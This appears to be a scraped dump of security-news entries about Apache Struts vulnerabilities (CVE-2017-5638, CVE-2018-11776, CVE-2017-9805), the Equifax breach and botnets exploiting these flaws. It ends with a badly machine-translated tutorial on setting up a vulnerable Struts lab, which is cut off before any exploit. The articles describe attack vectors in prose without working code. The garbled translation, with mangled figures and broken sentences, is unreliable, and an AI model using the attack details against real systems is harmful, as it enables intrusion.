that [it needed to patch CVE-2017-5638](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>), the Apache Struts vulnerability that eventually led to the hack.\n\nEquifax requested the \u201capplicable personnel responsible\u201d update Apache Struts via email on March 9, something that should have been done within a 48 hour period, Smith said.\n\nThat was never done and according to Smith, the vulnerability wasn\u2019t picked up by internal scans designed to identify vulnerable systems carried out on March 15. The issue lingered for roughly two months until attackers accessed Equifax\u2019s systems on May 13 \u2013 and persisted until the company became aware of the attackers on July 30.\n\nGreg Walden (R-Ore.) pointed out some of Equifax\u2019s many missteps on Tuesday morning, including how Equifax\u2019s consumer facing website for the breach was put hosted on a separate domain from the main Equifax website, the confusion that spawned, and how on multiple occasions Equifax directed users to the wrong website.\n\n\u201cOn top of all the other issues, multiple times Equifax tweeted the wrong URL directing consumers to the wrong website to check if they were part of a breach,\u201d Walden said, \u201cTalk about ham-handed responses this is simply unacceptable and it makes me wonder if there was a breach response plan in place at all and if anyone was in charge of executing that plan.\u201d\n\nDuring another part of the hearing, Tim Murphy, a U.S. representative for Pennsylvania\u2019s 18th Congressional district, came back to that question. When told the company\u2019s original site couldn\u2019t handle the traffic is received, Murphy was befuddled.\n\n\u201cWhy wouldn\u2019t your website be able to handle this kind of traffic?\u201d Murphy asked, \u201cIt just doesn\u2019t make sense, a company your size and with your knowledge, doesn\u2019t understand how to handle traffic for over 100 million people, don\u2019t you use an Elastic cloud computing service that would\u2019ve accounted for this?\u201d\n\nSmith said the sheer amount of traffic Equifax\u2019s site received in wake of the breach made hosting a site on its domain impossible.\n\n\u201cThe environment the micro site is in is a cloud environment that\u2019s very, very scalable,\u201d Smith said. \u201cOur traditional environment could not handle 400 million consumer visits for three weeks.\u201d\n\nMurphy also grilled Smith on what took Equifax so long to patch the March vulnerability and if it\u2019s possible Equifax\u2019s internal scanning system could potentially miss another vulnerability.\n\n\u201cIf the patch only took a few days to apply why did Equifax fail to apply it in March when it was announced as critical?\u201d Murphy asked.\n\nSmith skirted the question and instead discussed the difficulties associated with patching.\n\n\u201cPatching can take a variety of time\u2026 it can take days or up to a week or more,\u201d Smith said, adding that he wasn\u2019t aware of the particular Struts vulnerability at the time.\n\nAt the end of the hearing, when pressed by Anna Eshoo, U.S. Representative for California\u2019s 18th congressional district, Smith described the process around patching again but did little to deviate from his prepared testimony.\n\n\u201cI want to know when they did it, when they took care of [the patch]\u201d Eshoo said.\n\n\u201cThey took care of it in July because we never found it,\u201d Smith said. \u201cWe had the human error, we did the scan, the technology never found it, in July we found suspicious activity, took the portal down, found the vulnerability, applied the patch.\u201d\n", "cvss3": {}, "published": "2017-10-03T15:27:08", "type": "threatpost", "title": "Equifax Says 145.5M Affected by Breach, Ex-CEO Testifies", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-10-03T15:27:08", "id": "THREATPOST:5E633FD1C6A5B5BB74F1B6A8399001A2", "href": "https://threatpost.com/equifax-says-145-5m-affected-by-breach-ex-ceo-testifies/128247/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-04-11T11:42:25", "description": "Equifax will pay as much as $700 million to settle federal and state investigations on the heels of its infamous 2017 breach, which exposed the data of almost 150 million customers.\n\nThe consumer credit reporting agency on Monday [said](<https://investor.equifax.com/news-and-events/news/2019/07-22-2019-125543228>) it will dish out $300 million to cover free credit monitoring services for impacted consumers, $175 million to 48 states in the U.S, and $100 million in civil penalties to the Consumer Financial Protection Bureau (CFPB).

The attackers managed to [access information](<https://threatpost.com/equifax-data-nation-state/141929/>) containing Social Security numbers, birth dates, addresses, and some driver\u2019s license numbers. Equifax said it discovered the intrusion on July 29, meaning attackers apparently had access to the company\u2019s files for nearly 12 weeks.\n\nAfter the data breach, Equifax was hit by multiple lawsuits, as well as investigations by the FTC, the CFPB, the Attorneys General of 48 states, and more.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/07/22101929/eqfx-socmed-summary.png>)\n\nLawsuits claimed that Equifax failed to patch its network in March 2017 after being alerted of a [critical security flaw](<https://threatpost.com/equifax-adds-2-4-million-more-people-to-list-of-those-impacted-by-2017-breach/130209/>) (an Apache Struts vulnerability, CVE-2017-5638) in its Equifax Automated Consumer Interview System database (which handles inquiries from consumers about their personal credit data). This vulnerability was ultimately exploited by bad actors, leading to the data breach.\n\nAs part of the agreement, Equifax also said it will take steps to enhance its information security and technology program, as well as make payments totaling $290.5 million to state and federal regulatory agencies to pay attorneys\u2019 fees and costs in the multi-district litigation.\n\nIn the past month, a slew of fines and penalties have been imposed that were tied privacy and data breach incidents.

That\u2019s likely going to continue to increase. I think what we\u2019re also going to see is people going to try to scan for the vulnerability.\u201d\n\nThe flaw lives in the Jakarta Multipart parser upload function in Apache. It allows an attacker to easily make a maliciously crafted request (a malicious Content-Type value) to an Apache webserver and have it execute. Struts 2.3.5 to Struts 2.3.31 are affected as are Struts 2.5 to 2.5.10; admins are urged to upgrade immediately to [Struts 2.3.32](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32>) or [2.5.10.1](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1>).\n\nTalk of the vulnerability surfaced on Chinese forums, according to Vincente Motos, who posted an advisory on the [HackPlayers](<http://www.hackplayers.com/2017/03/exploit-rce-para-apache-struts-cve-2017-5638.html>) website. Motos said a notorious Apache Struts hacker known as Nike Zheng posted a public proof-of-concept exploit demonstrating the simplicity in which an attacker could inject operating system commands.\n\nThe attacks are particularly risky to anyone running their Apache webservers as root, which is not a suggested practice. Williams said it\u2019s unclear whether an attacker can benignly scan for vulnerable servers in order to determine the version and context under which Struts is running, whether as Apache or root, for example. But as with some older internet-wide bugs, there are a large number of scans happening.\n\n\u201c[Attacks] look like requests to a webserver with a malformed piece,\u201d Williams said. \u201cUnless you\u2019re looking for it, it\u2019s easy not to see the malformed content type.\u201d\n\nAn attacker, he said, would need to just modify one line depending on the operating system the target is running, Windows or Linux, and have it download a malicious binary from the web.\n\n\u201cUnfortunately, due to the nature of command-line injections like this, it\u2019s very easy to modify,\u201d Williams said. \u201cAnd that\u2019s why I think we\u2019re going to continue to see exploitation rise for the foreseeable future.\u201d\n\nThe risks are severe for an organization running an exposed Apache server if it\u2019s compromised.\n\n\u201cThe sky\u2019s the limit,\u201d Williams said. \u201cIf I\u2019m a bad guy, depending on what my game is, I can take over your webserver and use that to move laterally through your network. If I\u2019m super insidious, I can use that to look for your domain controller and if I can find a way to compromise your password hashes, say from the Linux server I compromised, I can possibly log in to your domain controller and use that to push malware to all your machines. I could ransom off your webserver, all kinds of terrible things.\u201d\n\nWilliams said [Cisco has observed](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) that the majority of public attacks feature a number of Linux bots used for DDoS attacks taking advantage of this vulnerability, along with an IRC bouncer, and a malware sample related to the bill gates botnet.\n\nWilliams cautioned as well that connected devices in the IoT space could also be a major concern, since Struts 2 likely runs there.\n\n\u201cI\u2019m going to guess there\u2019s a reasonable number of devices running it, and due to the nature of IoT, those aren\u2019t going to be patched any time soon. So this is going to be an issue for the foreseeable future.\u201d\n\nGiven the availability of patches and detection rules, it\u2019s likely that public attacks are going to be largely mitigated and as more detection rules surface, public exploits should be less useful to attackers.\n\n\u201cDue to the fact that it\u2019s relatively easy to go inside and modify an attack, it\u2019s going to be bad and it\u2019s going to plague us for some time,\u201d Williams said. \u201cGood news is that detecting it is not that difficult.\u201d\n", "cvss3": {}, "published": "2017-03-09T12:25:46", "type": "threatpost", "title": "Attacks Heating Up Against Apache Struts 2 Vulnerability", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T19:50:52", "id": "THREATPOST:1C2F8B65F8584E9BF67617A331A7B993", "href": "https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-30T05:51:10", "description": "Researchers have discovered new variants for the infamous Mirai and Gafgyt IoT botnets \u2013 now targeting well-known vulnerabilities in Apache Struts and SonicWall.\n\nThe new Mirai strain targets the Apache Struts flaw associated with the 2017 Equifax breach, while the Gafgyt variant uses a newly-disclosed glitch impacting older, unsupported versions of SonicWall\u2019s Global Management System, according to researchers with Palo Alto Networks in a [Sunday ](<https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/>)post.\n\n\u201cHere we\u2019re seeing Mirai and Gafgyt variants targeting systems mostly seen in enterprises,\u201d Ruchna Nigam, researcher with Palo Alto Networks, told Threatpost. \u201cUltimately, future trends are open to speculation, but we know that targeting enterprise links offers bigger bandwidth from a DDoS perspective. For now, it looks that the attackers may be doing a test run on the efficacy of using different vulnerabilities, with the intention of spotting ones that herd the maximum number of bots, affording them greater firepower for a DDoS.\u201d\n\n**Mirai Evolves**\n\nResearchers said that they discovered samples of a Mirai variant on Sept. 7 incorporating exploits that targeted 16 separate vulnerabilities.\n\nThe variant notably exploits the critical arbitrary command-execution flaw in Apache Struts ([CVE-2017-5638](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>)) that was patched in March 2017. This marks the first known instance of Mirai targeting a vulnerability in Apache Struts, researchers said. Attackers could use specially crafted content-type, content-disposition or content-length HTTP headers to launch an arbitrary command-execution attack.\n\nThough a patch has been available for over a year now, many consumers may not have updated their systems \u2013 an issue that led to the already-patched [vulnerability](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>) being responsible for the Equifax breach last summer that impacted 147 million consumers.\n\nFlaws in Apache Struts have been actively exploited in the wild in other recent campaigns; these include a large cryptomining campaign using the recently disclosed Apache Struts 2 critical remote code-execution (CVE-2018-11776) [vulnerability](<https://threatpost.com/active-campaign-exploits-critical-apache-struts-2-flaw-in-the-wild/137207/>), which was patched in August.\n\nThe other 15 vulnerabilities targeted by the newest Mirai strain have been incorporated into the botnet in the past, including a Linksys remote code-execution flaw in Linksys E-Series devices, a Vacron NVR remote code-execution glitch, a remote code-execution issue in D-Link devices, remote code-execution vulnerabilities in CCTVs and DVRs from up to 70 vendors, and a flaw (CVE-2017-6884) in Zyxel routers.\n\nUnit 42 also found that the domain currently hosting these Mirai samples previously resolved to a different IP address during the month of August \u2014 an IP address hosting a new version of Gafgyt as well.\n\n**Gafgyt Adds to Bag of Tricks**\n\nIn August, the observed IP was \u201cintermittently hosting samples of Gafgyt that incorporated an exploit against CVE-2018-9866, a SonicWall vulnerability affecting older versions of SonicWall Global Management System (GMS),\u201d according to Nigam.\n\nThe targeted vulnerability ([CVE-2018-9866](<https://nvd.nist.gov/vuln/detail/CVE-2018-9866>)) exists in the lack of validation of user-supplied parameters pass to XML-RPC calls on SonicWall Global Management System (GMS) virtual appliances, allowing remote users to execute arbitrary code.\n\nThis vulnerability affects older, unsupported GMS versions, including 8.1 and earlier (the flaw is not present in supported versions). A Metasploit module was first [published](<https://www.exploit-db.com/exploits/45124/>) earlier this summer for the flaw; SonicWall then published a [public advisory](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2018-0007>) about the critical issue July 17.\n\nSonicWall has been notified of this latest development with Gafgyt, researchers said.\n\n\u201cThe vulnerability disclosed in this post is not an announcement of a new vulnerability in SonicWall GMS,\u201d a SonicWall spokesperson told Threatpost. \u201cThe issue referenced only affects an older version of the GMS software (version 8.1) which was replaced by version 8.2 in December 2016. Customers and partners running GMS version 8.2 and above are protected against this vulnerability. Customers still using GMS version 8.1 should apply a hotfix supplied by SonicWall in August 2018 and plan for an immediate upgrade, as GMS 8.1 went out of support in February 2018.\u201d\n\nThe Gafgyt botnet exploits a range of IoT flaws, including other issues in Huawei, GPON and D-Link devices.\n\nOnce in, it then fetches an update from <HTTP_SERVER>, saves it to <FILE_LOCATION>, and installs the update. After that, the botnet launches a Blacknurse DDoS attack, an attack that involves ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016.\n\n\u201cOne thing that stood out was the Gafgyt variant having support for the BlackNurse DDoS attack method,\u201d Ruchna told us. \u201cThe earliest samples I have seen supporting this DDoS method are from September 2017.\u201d\n\n**Continued Development**\n\nThe discovery of new targeted vuln comes after it was revealed in July that Mirai and Gafgyt were actively launching two IoT/Linux botnet [campaigns](<https://threatpost.com/d-link-dasan-routers-under-attack-in-yet-another-assault/134255/>), exploiting the [CVE-2018-10562 and CVE-2018-10561 bugs in Dasan routers](<https://threatpost.com/millions-of-home-fiber-routers-vulnerable-to-complete-takeover/131593/>).\n\nIn October 2016, the world was introduced to Mirai when it [overwhelmed servers](<https://threatpost.com/dyn-ddos-could-have-topped-1-tbps/121609/>) at global domain provider Dynamic Network Services (Dyn); that led to the blockage of more than 1,200 websites, including Netflix and Twitter. The Mirai source code was then released in Oct. 2016, with Mirai variants continuing to pop up left and right since then.\n\nMost recently, in April, a variant of the Mirai [botnet](<https://threatpost.com/mirai-variant-targets-financial-sector-with-iot-ddos-attacks/131056/>) was used to launch a series of DDoS campaigns against financial sector businesses, while in January, researchers identified a variant called [Satori (Mirai Okiru)](<https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/>).\n", "cvss3": {}, "published": "2018-09-10T14:23:09", "type": "threatpost", "title": "Mirai, Gafgyt Botnets Return to Target Infamous Apache Struts, SonicWall Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-6884", "CVE-2018-10561", "CVE-2018-10562", "CVE-2018-11776", "CVE-2018-9866"], "modified": "2018-09-10T14:23:09", "id": "THREATPOST:FC5665486C9D63E5C0C242F47F66ACF1", "href": "https://threatpost.com/mirai-gafgyt-botnets-return-to-target-infamous-apache-struts-sonicwall-flaws/137309/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-06-28T05:48:46", "description": "A critical remote code-execution vulnerability in Apache Struts 2, the popular open-source framework for developing web applications in the Java programming language, is threatening a wide range of applications, even when no additional plugins have been enabled. Successful exploitation could lead to full endpoint and eventually network compromise, according to researchers \u2013 who said that the flaw is more dangerous than the similar vulnerability used to compromise Equifax last year.\n\nA [working exploit](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) surfaced within a day of its disclosure.\n\nThe vulnerability ([CVE-2018-11776](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776>)) was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) by the Apache Software Foundation yesterday and affects all supported versions of Struts 2: Users of Struts 2.3 should upgrade to 2.3.35; users of Struts 2.5 need to upgrade to 2.5.17. They should do so as soon as possible, given that bad actors are likely already working on exploits, according to the Semmle research team\u2019s Man Yue Mo, who uncovered the flaw.\n\n\u201cThis vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\u201d he said in a [posting](<https://semmle.com/news/apache-struts-CVE-2018-11776>) on Wednesday. \u201cOn top of that, the weakness is related to the Struts Object-Graph Navigation Language (OGNL) language, which hackers are very familiar with, and are known to have been exploited in the past.\u201d\n\n[OGNL](<https://commons.apache.org/proper/commons-ognl/>) is a powerful, domain-specific language that is used to customize Struts\u2019 behavior.\n\n\u201cOn the whole, this is more critical than the highly critical Struts RCE vulnerability that the Semmle Security Research Team discovered and announced last September,\u201d said Yue Mo, referring to the infamous vulns (CVE-2017-9805) that hackers used to compromise Equifax last year, which led to the lifting of [personal details of 147 million consumers](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>).\n\nTim Mackey, technology evangelist at Synopsys, told Threatpost that this is due to the fact that it affects a wider swath of the Struts architecture.\n\n\u201cIn the case of CVE-2018-11776, the root cause [is] a lack of input validation on the URL passed to the Struts framework,\u201d he explained. \u201cThe prior [Struts] vulnerabilities were all in code within a single functional area of the Struts code. This meant that developers familiar with that functional area could quickly identify and resolve issues without introducing new functional behaviors. CVE-2018-11776 operates at a far deeper level within the code, which in turns requires a deeper understanding of not only the Struts code itself, but the various libraries used by Struts. It is this level of understanding which is of greatest concern \u2013 and this concern relates to any library framework.\u201d\n\n## Anatomy of the Flaw\n\nThe vulnerability is caused by insufficient validation of untrusted user data in the core of the Struts framework, according to the team\u2019s findings.\n\n\u201cAttackers can attack vulnerable applications by injecting their own namespace as a parameter in an HTTP request,\u201d they explained. \u201cThe value of that parameter is insufficiently validated by the Struts framework, and can be any OGNL string.\u201d\n\nBecause the issue affects the core of Struts, there are at least two separate attack vectors \u2013 and potentially many more.\n\nIn the first attack scenario, three Struts result types are unsafe when used without a namespace, as defined in either in the Struts configuration file or in Java code if the Struts Convention plugin is used. These are the redirect action, which redirects the visitor to a different URL; action chaining, which is a method to chain multiple actions into a defined sequence or workflow; and postback result, which renders the current request parameters as a form which immediately submits a postback to the specified destination chain or postback.\n\nThe researchers explained: \u201cAn example of a struts.xml configuration that is potentially vulnerable: the <action \u2026> tag does not have a namespace attribute and contains a result of type redirectAction. If you use the Struts Convention plugin, you will also have to look for actions and results that are configured using Java code.\u201d\n\nThe second attack vector has to do with the fact that Struts supports page templates inside <result> tags in the Struts configuration: \u201cThe use of URL tags in such pages is potentially unsafe if the template is referred to from an <action> tag that does not provide a namespace attribute (or specifies a wildcard namespace),\u201d the researchers said. \u201cYour application is vulnerable if the template contains an <s:url \u2026> tag without an action or value attribute.\u201d\n\nResearchers noted that for an exploit for either of the known vectors to be successful, an application must have the alwaysSelectFullNamespace flag set to \u201ctrue\u201d in the Struts configuration \u2013 a default state if the application uses the popular Struts Convention plugin. Also, the application\u2019s actions must be configured without specifying a namespace, or with a wildcard namespace (e.g. \u201c/*\u201d).\n\n\u201cThis applies to actions and namespaces specified in the Struts configuration file (e.g. <action namespace=\u201dmain\u201d>), but also to actions and namespaces specified in Java code if you are using the Struts Convention plugin,\u201d they explained.\n\nThat said, they also cautioned that other attack vectors may emerge that apply to different configurations.\n\n\u201cWhether or not a Struts application is vulnerable to remote code execution largely depends on the exact configuration and architecture of the application,\u201d the firm said. \u201cNote that even if an application is currently not vulnerable, an inadvertent change to a Struts configuration file may render the application vulnerable in the future. You are therefore strongly advised to upgrade your Struts components, even if you believe your configuration not to be vulnerable right now.\u201d\n\nThis is a critical point, according to Mackey. \u201cValidating the input to a function requires a clear definition of what is acceptable,\u201d he said. \u201cIt equally requires that any functions available for public use document how they use the data passed to them. Absent the contract such definitions and documentation form, it\u2019s difficult to determine if the code is operating correctly or not. This contract becomes critical when patches to libraries are issued as its unrealistic to assume that all patches are free from behavioral changes. Modern software is increasingly complex and identifying how data passes through it should be a priority for all software development teams.\u201d\n\nPavel Avgustinov, vice president of QL Engineering at Semmle, laid out what\u2019s at stake in a media statement: \u201cCritical remote code-execution vulnerabilities like the [one that affected Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>) and the one we announced [this week] are incredibly dangerous for several reasons: Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\u201d he said. \u201cA hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk.\u201d\n", "cvss3": {}, "published": "2018-08-23T16:46:57", "type": "threatpost", "title": "Apache Struts 2 Flaw Uncovered: \u2018More Critical Than Equifax Bug\u2019", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T16:46:57", "id": "THREATPOST:D5150098043DAE7CDF2E31618C33F5D2", "href": "https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:53:11", "description": "The Apache Software Foundation has patched a critical remote code execution vulnerability affecting all versions of the popular application development framework Struts since 2008.\n\nAll web applications using the framework\u2019s REST plugin are vulnerable. Users are advised to upgrade their Apache Struts components as a matter of urgency, according to Semmle, a software engineering analytics firm that first identified the bug.\n\n\u201cThis particular vulnerability allows a remote attacker to execute arbitrary code on any server running an application built using the Struts framework and the popular REST communication plugin. The weakness is caused by the way Struts deserializes untrusted data,\u201d the company wrote in [a technical write-up](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) on the vulnerability published on Tuesday in coordination with the release of a patch by Apache Software Foundation (ASF).\n\n\u201cThis is as serious as it gets; if remote attackers are allowed to exploit the newly identified vulnerability it can critically damage thousands of enterprises,\u201d said Oege de Moor, CEO and founder of Semmle.\n\nAffected developers are urged to [upgrade to Apache Struts version 2.5.13](<https://struts.apache.org/announce.html#a20170905>).\n\nThe ASF said there is no workaround available for the vulnerability ([CVE-2017-9805](<https://struts.apache.org/docs/s2-052.html>)) in Struts, an open-source framework for developing web applications in the Java programming language.\n\n\u201cThe best option (sans an upgrade) is to remove the Struts REST plugin when not used or limit it to server normal pages and JSONs only,\u201d the ASF wrote in a [security bulletin issued Tuesday](<https://struts.apache.org/docs/s2-052.html>).\n\nSemmle cites estimates the vulnerability could impact 65 percent of the Fortune 100 companies that use web applications built with the Struts framework.\n\n\u201cOrganizations like Lockheed Martin, the IRS, Citigroup, Vodafone, Virgin Atlantic, Reader\u2019s Digest, Office Depot, and Showtime are known to have developed applications using the framework. This illustrates how widespread the risk is,\u201d Semmle researcher Bas van Schaik wrote Tuesday, citing estimates by analysts at the software developer research firm RedMonk.\n\nMultiple similar vulnerabilities have been reported tied to Struts. Earlier this year, attackers were exploiting a critical Apache Struts vulnerability on Windows servers and dropping Cerber ransomware on the machines.\n\n[In March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>), public attacks and scans looking for exposed Apache webservers were reportedly on the rise after a vulnerability ([CVE-2017-5638](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>)) in the Struts 2 web application framework was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) and proof-of-concept exploit code was introduced into Metasploit.\n\nSemmle said this most recent vulnerability is caused by the way Struts deserializes untrusted data. Deserialization is the processes of taking structured data from one format and rebuilding it into an object. The processes can be tweaked for malicious intent and has been used in a host of attack scenarios including denial-of-service, access control and remote code execution attacks.\n\nThe remote code execution attack Semmle identified is possible when using the Struts REST plugin with the XStream handler to facilitate XML payloads. XStream is a Java library used to serialize objects to XML (or JSON) and back again.\n\n\u201cLgtm (Semmle\u2019s open-source [code analysis tool](<https://lgtm.com/>)) identifies alerts in code using queries written in a specially-designed language: QL. One of the many queries for Java detects potentially unsafe deserialization of user-controlled data. The query identifies situations in which unsanitized data is deserialized into a Java object. This includes data that comes from an HTTP request or from any other socket connection,\u201d Semmle said in a [second technical analysis of the vulnerability](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) posted Tuesday.\n\nData contained in one of the arguments (toObject) should be considered \u201ctainted\u201d and \u201cunder the control of a remote user and should not be trusted.\u201d This query detects common ways through which user-controlled data flows to a deserialization method, researchers said. \u201cHowever, some projects use a slightly different approach to receive remote user input,\u201d they said.\n\nSemmle said it has developed a \u201csimple\u201d working exploit for this vulnerability but currently has no plans to disclose it.\n\n\u201cThere is no suggestion that an exploit is publicly available, but it is likely that one will soon be,\u201d van Schaik wrote in a blog post.\n", "cvss3": {}, "published": "2017-09-05T14:10:54", "type": "threatpost", "title": "Patch Released for Critical Apache Struts Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-05T18:44:40", "id": "THREATPOST:7DFB677F72D6258B3CDEE746C764E29E", "href": "https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:28:22", "description": "Oracle patched 250 vulnerabilities across hundreds of different products as part of its [quarterly Critical Patch Update](<http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html>) released today.\n\nRounding out the list of products with the most patches is Oracle Fusion Middleware with 38, Oracle Hospitality Applications with 37 and Oracle MySQL with 25.\n\nOf the critical patches, security researchers at Onapsis said that they identified three high-risk SQL injections vulnerabilities in Oracle\u2019s popular Oracle E-Business Suite (EBS).\n\n\u201cWhile all three are high-risk vulnerabilities, one (CVE-2017-10332) is very easy to exploit,\u201d said JP Perez-Etchegoyen, CTO of Onapsis.\n\nOnapsis is warning users of Oracle EBS (versions 12.1 and 12.2) that they are exposed to SQL injection vulnerabilities that could allow an attacker, over a network without any username and password credentials, to potentially gain access to and modify critical documents and information such as credit card data, customer information, HR documents or financial records.\n\nPerez-Etchegoyen said each of the SQL injection vulnerabilities can easily be exploited by attackers who can disrupt, exfiltrate or manipulate data that is part of a business\u2019 enterprise resource planning, supply chain management or finance management systems.\n\n\u201cThese vulnerabilities are especially risky as an attacker would only need a web browser and network access to the EBS system HTTP interface to perform it,\u201d Perez-Etchegoyen said.\n\nOnapsis said vulnerabilities found in Oracle\u2019s EBS are on the rise, with a 29 percent increase in 2017 compared to the previous year.\n\nThe[ patches come](<http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html>) just weeks after Oracle OpenWorld where Larry Ellison, co-founder, executive chairman and chief technology officer of Oracle, stressed the importance of security during his keynote. Ellison also used the occasion to stress the importance of software patching in light of the [recent Equifax breach](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>).\n\nLast month, Oracle used an advisory as an opportunity to remind users that [in April it ](<https://threatpost.com/record-oracle-patch-update-addresses-shadowbrokers-struts-2-vulnerabilities/125046/>)fixed the Struts vulnerability (CVE-2017-5638) which was behind [Equifax\u2019s massive breach of 143 million Americans](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>),\n\nOrganizations are falling down when it comes to patching their most important business-critical applications, Perez-Etchegoyen said.\n\nCiting a recent Ponemon Research study, Perez-Etchegoyen said fewer than half of the 600 respondents interviewed said they have a monthly plan to implement security patches for their Oracle EBS applications. Seventy percent believe it is likely their company would have a data breach due to insecure Oracle EBS applications that they have failed to secure or apply patches to.\n\nAlso part of Oracle\u2019s quarterly update are patches for its Java Platform, Standard Edition that received 22 new security fixes. Twenty of these vulnerabilities may be remotely exploitable without authentication, for example, they may be exploited over a network without requiring user credentials, Oracle said. The highest CVSS base score of vulnerabilities affecting Oracle Java SE is 9.6.\n\nImpacted are Java Advanced Management Console, Java SE, Java SE Embedded and JRockit.\n\nOracle Database Server received six security fixes with two of the vulnerabilities remotely exploitable without authentication.

Apache Struts has many serious vulnerabilities, one of its characteristics is to support OGNL object graph navigation language, which is also many loopholes is the main reason. \nOne vulnerability, CVE-2017-5638 directly leads to the 2017 Equifax information leakage, exposure to more than 1. 45 million US citizens personal information. Although the company's annual revenue more than 30 billion dollars, but they still did not escape the Apache Struts MVC framework of a known vulnerability attack. \nThis paper mainly introduces the Apache Struts, and then will guide us how to modify a simple application, the use of OGNL and achieve exploits. Next, we will study in depth the platform on a number of Public Exploit way, and try to use OGNL injection vulnerability. \nAlthough Java developers are familiar with Apache Struts, but the security community often does not do however, which is why we wrote this article for the reason. \nGetting started \nRunning a vulnerable Struts application need to install Apache Tomcat [Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>a). The package of the latest version can be downloaded here as a ZIP. The binary file decompress to a location of your choice we use/var/tomcat, and continues: \ncd /var/tomcat/bin # go to the unzipped folder \nchmod +x *. sh # set the script to executable file \n./ startup.sh # run the startup script \nOur visit to http://localhost:8080/, and check whether the site running. \nAfter the confirmation, we are ready to download the old version of the Apache Struts framework, which is vulnerable to our upcoming demo of the vulnerability attack. This page provides to meet our needs 2. 3. 30 version The Struts in. \nIn the extract compressed content, we should be in the/apps position seen under struts2-showcase. war file. This is one use of the Struts compiled and ready to deploy demo application. Just need the WAR file is copied to/var/tomcat/webapps, and access http://localhost:8080/struts2-showcase/showcase. action confirm whether it is valid. \n[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)the basics \nIf you have a good grasp of the Java Web applications related to simple concepts such as Servlets, then you would have been leading. If you are new to the Java Servlet knows nothing about, it can be understood simply as a component, its purpose is to create for in the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)hosted on Web applications the Web container, in addition, it is also responsible for the processing of the/struts2-showcase and other Java applications request. \nTo the processing Servlet, the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), for example Apache Tomcat requires some Assembly: \n1\\. Apache Coyote is to support the HTTP/1.1 Protocol connector. It allows the Servlet container components of Apache Catalina to communicate. \n2\\. Apache Catalina container when determined in the Tomcat receives an HTTP request, you need to call which the Servlet container. It will also HTTP request and response from the text is converted to a Servlet using a Java object. \n! [](/Article/UploadPic/2019-3/201933032655612. png) \nHere you can find information about the Java Servlet specification for all the details of the latest version 4. 0 in. \nApache Struts basics \nWith Java Web applications using the Apache Struts Framework application can have multiple Servlet. This article's main purpose is not to let everyone understand this to build the Web application framework, but on the surface the hang of the basic concepts. We can step-by-step tutorial on the subject. \nThe Apache Struts framework relies on MVC model-View-Controller architecture pattern. IT application very helpful, because you can separate the main application components: \n1\\. Model: represents the application data, for example, using\u201corders\u201dand other data of the class. \n2\\. View: is the output of the application, the visual part. \n3\\. The controller: receiving a user input, using the model to generate the view. \n4\\. Action Actions: the Apache Struts in the model. \n5\\. Intercept the Interceptors: the part of the controller, they can be in processing the request before or after the invocation of the hook. \n6\\. Value stack/OGNL: a set of objects, for example, model or action object. \n7\\. 